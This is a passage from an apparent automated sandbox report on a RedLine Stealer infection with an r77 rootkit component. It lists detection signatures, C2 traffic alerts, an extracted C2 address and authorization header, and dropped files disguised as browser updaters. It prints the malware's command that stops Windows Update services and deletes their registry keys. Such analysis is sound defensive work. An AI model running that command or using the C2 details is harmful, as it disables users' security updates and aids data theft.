2E 00 65 00 78 ... 0x16235:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16541:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1683d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16b39:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16e29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17135:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17425:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17705:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17a11:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
0.3.cfBJlHsOsz.exe.460000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.cfBJlHsOsz.exe.460000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xce8:$pat14: , CommandLine: 0x192b5:$v2_1: ListOfProcesses 0x19049:$v4_3: base64str 0x1a0b8:$v4_4: stringKey 0x16c90:$v4_5: BytesToStringConverted 0x15cf8:$v4_6: FromBase64 0x17458:$v4_8: procName 0x177db:$v5_1: DownloadAndExecuteUpdate 0x18f59:$v5_2: ITaskProcessor 0x177c9:$v5_3: CommandLineUpdate 0x177ba:$v5_4: DownloadUpdate 0x17e5c:$v5_5: FileScanning 0x16fff:$v5_7: RecordHeaderField 0x16a1e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
51.0.GoogleUpdate.exe.970000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
0.2.cfBJlHsOsz.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.cfBJlHsOsz.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x16f4c:$s5: delete[] 0x167f8:$s6: constructor or from DllMain. 0x1a470:$pat14: , CommandLine: 0x32a3d:$v2_1: ListOfProcesses 0x327d1:$v4_3: base64str 0x33840:$v4_4: stringKey 0x30418:$v4_5: BytesToStringConverted 0x2f480:$v4_6: FromBase64 0x30be0:$v4_8: procName 0x30f63:$v5_1: DownloadAndExecuteUpdate 0x326e1:$v5_2: ITaskProcessor 0x30f51:$v5_3: CommandLineUpdate 0x30f42:$v5_4: DownloadUpdate 0x315e4:$v5_5: FileScanning 0x30787:$v5_7: RecordHeaderField 0x301a6:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
34.2.powershell.exe.1fa7dc50000.1.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
34.2.powershell.exe.1fa7dc50000.1.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
Click to see the 12 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Google\brave.exe" , ParentImage: C:\Users\user\AppData\Local\Google\brave.exe, ParentProcessId: 1332, ParentProcessName: brave.exe, ProcessCommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, ProcessId: 4604, ProcessName: cmd.exe

Snort Signatures

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 37.220.87.2

Timestamp:	192.168.2.337.220.87.249711279242850286 11/24/22-16:57:32.394186
SID:	2850286
Source Port:	49711
Destination Port:	27924
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 37.220.87.2

Timestamp:	192.168.2.337.220.87.249711279242850027 11/24/22-16:57:12.091008
SID:	2850027
Source Port:	49711
Destination Port:	27924
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 37.220.87.2 - Destination IP: 192.168.2.3

Timestamp:	37.220.87.2192.168.2.327924497112850353 11/24/22-16:57:16.770120
SID:	2850353
Source Port:	27924
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Agent.AETZ CnC Checkin - Source IP: 192.168.2.3 - Destination IP: 172.66.43.60

Timestamp:	192.168.2.3172.66.43.60497144432039616 11/24/22-16:58:10.902029
SID:	2039616
Source Port:	49714
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Avira: detection malicious, Label: HEUR/AGEN.1213193
Source: C:\Users\user\AppData\Local\Temp\8ABA.tmp	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen

Multi AV Scanner detection for submitted file

Source: cfBJlHsOsz.exe	ReversingLabs: Detection: 84%
Source: cfBJlHsOsz.exe	Virustotal: Detection: 54%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\brave.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\chrome.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Google\ofg.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\8ABA.tmp	ReversingLabs: Detection: 80%

Machine Learning detection for sample

Source: cfBJlHsOsz.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Joe Sandbox ML: detected

Source: 51.2.GoogleUpdate.exe.970000.0.unpack

Avira: Label: TR/TDSS.Gen2

Source: 0.3.cfBJlHsOsz.exe.460000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["37.220.87.2:27924"], "Authorization Header": "e457de0f8e67971846447e9d0f415966"}

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Google\ofg.exe	Unpacked PE file: 17.2.ofg.exe.1080000.2.unpack
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Unpacked PE file: 20.2.ofg.exe.1060000.2.unpack
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Unpacked PE file: 41.2.chrome.exe.1590000.2.unpack

Source: cfBJlHsOsz.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50211 version: TLS 1.2

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 0000002B.00000000.349521767.0000000000971000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 00000033.00000000.364043063.0000000000971000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe.21.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: ofg.exe, 00000014.00000002.590956685.0000000001060000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 0000000E.00000002.409454727.000001A1513F2000.00000004.00000020.00020000.00000000.sdmp, 8ABA.tmp.14.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 0000000E.00000002.409454727.000001A1513F2000.00000004.00000020.00020000.00000000.sdmp, 8ABA.tmp.14.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: powershell.exe, 00000022.00000002.567019472.000001FA7DC50000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 0000000E.00000002.409454727.000001A1513F2000.00000004.00000020.00020000.00000000.sdmp, 8ABA.tmp.14.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_0AF6F8E8
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	14_2_00007FF6FC4F2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	14_2_00007FF6FC4EC000
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4E8100
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	14_2_00007FF6FC4E81D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	14_2_00007FF6FC4EF1C0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F23A0
